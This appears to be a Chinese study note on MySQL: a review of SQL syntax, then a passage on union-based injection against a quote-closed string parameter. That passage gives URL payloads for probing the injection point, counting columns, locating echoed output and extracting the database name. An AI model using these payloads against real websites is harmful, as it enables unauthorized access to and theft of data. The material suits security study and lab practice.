三、Mysql注入
3.2 语句
insert:
insert into
表名
(
字段名
1
,字段名
2
,字段名
3......) values(
值
1
,值
2
,值
3......)
;
delete:
delete from
表名
where
条件
;//
可回滚
对于大表:
truncate table
表名
;//
不可回滚,将会永久丢失
update:
update
表名
set
字段名
1=
值
1,
字段名
2=
值
2,......where
条件;
select:
select
字段
1
,字段
2
,
...... from +
表名
where +
条件
;
between and:
select * from users where id between 2 and 8;
select * from users where id >=2 and id <=8;
in not in:
select password from users where id not in(5,8);
指查找出
id
不等于
5
和
id
不等于
8
的用户的密码 (注:不是 5~8
,
in
之后不是一个区间)
like:(% 代表任意多个字符 _ 代表任意一个字符)
select username from users where username like '%b%';
//指查找出用户名中带有字母
b
的用户名
select username from users where username like '_a%';
//
指查找出用户名中带第二个字母为
a
的用户名
select username from users where username like '%b';
//
指查找出用户名中带最后一个字母为
b
的用户名
select username from users where username like '%\_%';
//
指查找出用户名中带有下划线
_
的用户名
(
注:特殊字符需要转义)
order by:
select username from users order by
字段名;
(
注:默认为升序排列)
指定升序:
asc
select username from users order by
字段名
asc
;
指定降序:
desc
select username from users order by
字段名
desc
;
双重需求:
select username from users order by 字段名
1 desc,
字段名
2 asc
;
分组函数:
- select sum(grade) from users;
- select avg(grade) from users;
- select max(grade) from users;
- select min(grade) from users;
空处理函数:
select sum(ifnull(salary,0)*12), from crew;
求一年的薪水之和,当薪水为
NULL
时,被当作
0
来处理
count(*)
与
count:
count(*) :
统计总记录条数,而不是统计某个字段中的数据,与字段无关
count(
具体的某个字段
)
:统计具体字段中不为
NULL
的总数
- 字符串数据 sum,avg 为 0,max,min 按字母大小取
- 分组函数会自动忽略 NULL
- 数学运算 中如果有NULL参与,结果为定为NULL
- 分组函数不能直接出现在 where 后面,原因是 group by 是在where语句执行结束之后执行的
- 分组函数可组合使用
group by
与
having:
group by
:按照某个字段或某些字段进行分组
having
:对分组之后的数据进行再次过滤,即
having
必须跟在
group by
后面使用
select max(grade) from students group by classes;
//先根据班级分组,再查出各个班级的成绩最高学生的成绩
分组函数一般与
group by
联合使用,并且任何一个分组函数(
count,sum,avg,max,min
)都
当一条
sql
语句没有
group by
时,整张表会自成一组
当
sql
语句中使用
group by
时,
select
之后只能跟参与分组的字段或者分组函数
(注:实际上在
mysql
中,可以使用并且执行,但毫无意义;而由于
Oracle
比
Mysql
要更加严)
distinct
去重:
distinct
关键字 去除重复记录
select distinct job from company;
//查询该公司中的工作岗位
语句执行顺序:
- select 5号:挑选出满足条件的数据
- from 1号:定表
- where 2号:过滤原始数据
- group by 3号:进行分组
- having 4号:对数据进行再次过滤
- order by 6号:进行排序
inner join:
select a.ename,b.dname from emp a join dept b on a.deptno=b.deptno;
left/right join:
select dname,ename from dept a left join emp b on a.deptno=b.deptno;
or语句:
当前面语句不符合情况或者出现错误时执行or后面的内容
四、union 联合注入(单引号闭合字符型为例)
4.1 注入判断
?id=1'
?id=1'
4.2 order by 查询
?id=1' order by x--+
?id=1' order by x#->常用%23代替
//其中x输入数字代表哪一列,使用二分法缩小范围,x之后是两个减号与加号,代表注释
4.3 判断回显位置,三列为例
?id=-1' union select 1,2,3--+
?id=0' union select 1,2,3--+
?id=1' and 1=2 union select 1,2,3--+
//前面是为了否定 id=1 时的回显,防止人家的 sql 语句只 limit 0,1
//这样就无法查看到我们想要的信息了
4.4 回显位置注入sql语句
?id=-1' union select 1,(select database()),3--+